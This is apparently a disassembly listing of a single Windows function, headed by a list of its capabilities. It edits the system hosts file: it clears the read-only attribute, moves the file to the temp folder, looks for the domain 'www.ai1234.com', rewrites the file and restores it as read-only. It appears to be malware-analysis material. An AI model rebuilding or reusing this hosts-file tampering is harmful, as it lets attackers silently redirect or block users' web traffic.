Function at 0x403370
Capabilities:
Get common file path
Get file attributes
Move file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41d910
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.WINDOWS_system32driversetchosts
lea eax, [esi + 0x88]
lea ecx, [esp + 0x14]
push eax
push ecx
xor edi, edi
call fcn.004185fb
lea ecx, [esp + 0x28]
mov dword [esp + 0x44], edi
call fcn.004188d5
mov edx, dword [0x426e44]
mov dword [esp + 0x18], edx
push 0x42a6b8
lea ecx, [esp + 0x20]
mov byte [esp + 0x48], 2
call fcn.00418420
push 0x10000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x50], 3
call fcn.00418127
mov ecx, esi
call fcn.00403150
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and al, 0xfe
push eax
push edx
call ebp
mov eax, dword [0x426e44]
mov dword [esp + 0x14], eax
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 4
call fcn.00418796
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.004187e5
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.004185fb
mov eax, dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileA]
push eax
mov eax, dword [esp + 0x14]
push eax
call ebx
lea ecx, [esp + 0x20]
call fcn.004183b2
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.004185fb
mov eax, dword [eax]
mov byte [esp + 0x44], 5
push edi
push edi
push eax
lea ecx, [esp + 0x34]
call fcn.0041894a
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 4
call fcn.004183b2
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
call fcn.00418b2d
test eax, eax
je 0x403505
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x20]
call fcn.0041877e
push 0x426bdc
lea ecx, [esp + 0x20]
call fcn.00418742
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.004187e5
push str.www.ai1234.com
lea ecx, [esp + 0x1c]
call fcn.00413d46
cmp eax, 0xffffffff
je 0x4034f3
mov edi, 1
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
push edx
call fcn.00418b2d
test eax, eax
jne 0x4034b4
lea ecx, [esp + 0x28]
call fcn.00418c7a
test edi, edi
jne 0x40358e
push 0x4267a8
lea ecx, [esp + 0x24]
call fcn.00418420
lea eax, [esp + 0x14]
push str.hosts
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x50], 6
call fcn.004185fb
mov eax, dword [eax]
push edi
push 1
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x50], 7
call fcn.0041894a
lea ecx, [esp + 0x24]
mov byte [esp + 0x44], 6
call fcn.004183b2
lea edx, [esp + 0x20]
lea ecx, [esp + 0x1c]
push edx
call fcn.0041877e
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
push eax
call fcn.00418abd
lea ecx, [esp + 0x28]
call fcn.00418c7a
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 4
call fcn.004183b2
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.004185fb
mov ecx, dword [esp + 0x10]
mov eax, dword [eax]
push ecx
push eax
call ebx
lea ecx, [esp + 0x24]
call fcn.004183b2
mov edx, dword [esp + 0x10]
push 1
push edx
call ebp
push 0x80000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00418127
mov ecx, esi
call fcn.00403150
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 3
call fcn.004183b2
lea ecx, [esp + 0x1c]
mov byte [esp + 0x44], 2
call fcn.004183b2
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 1
call fcn.004183b2
lea ecx, [esp + 0x28]
mov byte [esp + 0x44], 0
call fcn.00418907
lea ecx, [esp + 0x10]
mov dword [esp + 0x44], 0xffffffff
call fcn.004183b2
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x38
ret